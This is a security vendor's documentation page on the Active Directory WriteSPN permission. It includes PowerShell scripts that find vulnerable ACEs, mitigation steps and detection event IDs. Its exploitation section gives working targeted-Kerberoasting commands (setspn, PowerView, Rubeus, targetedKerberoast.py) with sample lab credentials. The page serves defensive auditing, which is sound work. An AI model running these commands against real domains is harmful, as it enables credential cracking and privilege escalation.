# WriteSPN

## Summary

|                            |                                           |
| -------------------------- | ----------------------------------------- |
| **FSProtect ACL Alias**    | WriteSPN                                  |
| **AD Alias**               | Validated write to service principle name |
| **Affected Object Types**  | Users                                     |
| **Exploitation Certainty** | Likely                                    |
| **AD Attribute**           | Service-Principal-Name                    |
| **AD Right**               | WriteProperty                             |
| **AD Permission Guid**     | f3a64788-5306-11d1-a9c5-0000f80367c1      |

## Description

The WriteSPN permission allows an account to create, update, or remove Service Principal Names (SPNs) on users objects in Active Directory. SPNs serve as unique Kerberos identifiers that associate network services with their service accounts.

## Risk

This enables a `targeted Kerberoasting` attack: the adversary requests a service ticket for the controlled SPN, extracts its hash and cracks it offline to escalate privileges.

## Identification

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `WriteSPN` entries.

**1.** Find-WriteSPN Function

```powershell
function Find-WriteSPN {
    [CmdletBinding()]
    param( [string]$SearchBase = $null,[string]$OutputPath = "WriteSPN.csv",[string]$Target = $null )
    try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "AD module not found."; return }
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow;$WriteProp = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty;
    # validatedSPN / servicePrincipalName attribute GUID
    $SPN_GUID = [guid]'f3a64788-5306-11d1-a9c5-0000f80367c1'
    $ldapFilter = if ($Target) { "(& (objectClass=user) (| (distinguishedName=$Target) (sAMAccountName=$Target) ))"} else { "(objectClass=user)" }
    $adParams = @{ LDAPFilter = $ldapFilter; ErrorAction = 'Stop' }
    if ($SearchBase) { $adParams.SearchBase = $SearchBase }
    try { $objs = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return }
    if (-not $objs) { Write-Output "No matching user objects."; return }
    $out = foreach ($o in $objs) {
        try {
            foreach ($ace in (Get-Acl -Path "AD:$($o.DistinguishedName)").Access) {
                if ($ace.AccessControlType -eq $Allow -and ($ace.ActiveDirectoryRights -band $WriteProp) -and $ace.ObjectType -eq $SPN_GUID -and -not $ace.IsInherited) {
                    [pscustomobject]@{
                        ObjectDN         = $o.DistinguishedName
                        PermissionHolder = $ace.IdentityReference.Value
                    } } } } catch { Write-Warning "ACL read failed for '$($o.DistinguishedName)': $($_.Exception.Message)" }}
    if ($out) {
        try { $out | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop; "Exported to '$OutputPath'." } catch { Write-Error "CSV export failed: $($_.Exception.Message)" }} else { "No objects found with vulnerable WriteProperty on servicePrincipalName." }
}
```

**2.** Scan all domain users

```powershell
Find-WriteSPN
```

**3.** Scan a specific user

```powershell
Find-WriteSPN -Target _admin
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-WriteSPN -SearchBase 'CN=Users,Dc=Forestall,DC=Labs' 
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `WriteSPN` entries without relying on any external modules or dependencies.

**1.** Find-WriteSPNSimple function

```powershell
function Find-WriteSPNSimple {
    [CmdletBinding()]
    param( [string]$Target, [string]$OutputPath = "WriteSPN.csv")
    $spnGuid = [guid]"f3a64788-5306-11d1-a9c5-0000f80367c1"
    $allow   = [System.Security.AccessControl.AccessControlType]::Allow;$write   = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    if ($Target) {
        try { $entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") ) } catch { Write-Error "Failed to bind to '$Target': $_"; return } }
    else {
        try {
            $baseDN    = ([ADSI]"LDAP://RootDSE").defaultNamingContext; $searchRoot= New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN")
            $ds        = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
            $ds.Filter = "(objectClass=user)";$ds.PageSize = 1000
            [void]$ds.PropertiesToLoad.Add("distinguishedName");$hits = $ds.FindAll()
        } catch { Write-Error "LDAP enumeration failed: $_"; return }
        $entries = foreach ($h in $hits) {try { $h.GetDirectoryEntry() } catch { continue }}}
    $rows = foreach ($e in $entries) {
        try { $acl  = $e.ObjectSecurity;$aces = $acl.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])} catch { continue }
        foreach ($ace in $aces) {
            if ($ace.AccessControlType -ne $allow) { continue };if (($ace.ActiveDirectoryRights -band $write) -ne $write) { continue };if ($ace.ObjectType -ne $spnGuid) { continue }; if ($ace.IsInherited) { continue }
            $who = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
            $dn = $e.distinguishedName;
            [pscustomobject]@{
                ObjectDN         = $dn.ToString();
                PermissionHolder = $who } }}
if ($rows) { try {$rows | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Host "Exported $($rows.Count) entr$(if($rows.Count -eq 1){'y'}else{'ies'}) to $OutputPath"} catch { Write-Error "CSV export failed: $_" }} else {Write-Host "No explicit WriteProperty('servicePrincipalName') ACEs found."}}
```

**2.** Scan all domain users

```powershell
Find-WriteSPNSimple
```

**3.** Scan a specific user

```powershell
Find-WriteSPNSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"
```

## Microsoft Common Console Document

**1.** Open `adsiedit.msc` on your Windows server.

**2.** Right-click on the service account name.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click on the Advanced button to open the Advanced Security Settings dialog.

**6.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and check the option `Write servicePrincipalName`

**9.** Click OK to save your changes and close the dialogs.

![alt text](/files/93j4uaqCGvctsI4DpeMw)

## Exploitation

### Windows

An attacker can change `Service Principal Name` with this cmdlet on Windows.

```powershell
setspn -A <service type>/<server FQDN> <targetuser>
```

Example:

```powershell
setspn -A http/dumpyhost john
```

![set spn](/files/aldsf5IgIqEdhPD4XG6q)

Write `Service Principal Name` using `powerview`

```powershell
Set-DomainObject -Identity <target> -SET @{serviceprincipalname='<spn>'}
```

Example:

```powershell
Set-DomainObject -Identity john -SET @{serviceprincipalname='http/dumpyhost'}
```

![powerview set spn](/files/ceU1QcjYJMB42PZLFnep)

Kerberoasting using `Rubeus`

```powershell
.\Rubeus.exe kerberoast /spn:"http/dumpyhost" /nowrap
```

![kerberoasting](/files/RJ8ikr79qYV1k48LJqMv)

### Linux

Targeted kerberoasting using `targetedKerberoast.py`

```bash
python targetedKerberoast.py -d <domain> -u <user> -p '<password>' --dc-host <dchost> --request-user <targetuser>
```

Example:

```bash
python targetedKerberoast.py -d forestall.labs -u adam -p 'Temp123!' --dc-host FSDC01.forestall.labs --request-user john
```

![targetedKerberoast](/files/IjYIL42W87Ij9m74Mp70)

## Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

**1.** Open `adsiedit.msc` on your Windows server.

**2.** Right-click on the Service user name.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click on the Advanced button to open the Advanced Security Settings dialog.

**6.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and uncheck the option `write to service principal`.

**9.** Click OK and Apply buttons to save changes.

![adsiedit](/files/93j4uaqCGvctsI4DpeMw)

## Detection

Changes to the `servicePrincipalName` attribute can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes (Advanced Audit Policy: DS Access → Audit Directory Service Changes) and Audit Directory Service Access (DS Access → Audit Directory Service Access) are enabled on your Domain Controllers. Look for the following events:

| Event ID | Description                              | Fields/Attributes                                            | References                                                                                 |
| -------- | ---------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | AttributeLDAPDisplayName (should equal servicePrincipalName) | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136> |
| 4662     | An operation was performed on an object. | AccessMask (e.g., WriteProperty)                             | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662> |

## References

* [GitHub - ShutdownRepo/targetedKerberoast: Kerberoast with ACL abuse capabilities](https://github.com/ShutdownRepo/targetedKerberoast)
* [SPN-jacking: An Edge Case in WriteSPN Abuse | semperis.com](https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/)
* [SPN-jacking | thehacker.recipes](https://www.thehacker.recipes/ad/movement/kerberos/spn-jacking)
* [Targeted Kerberoasting | thehacker.recipes](https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/writespn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
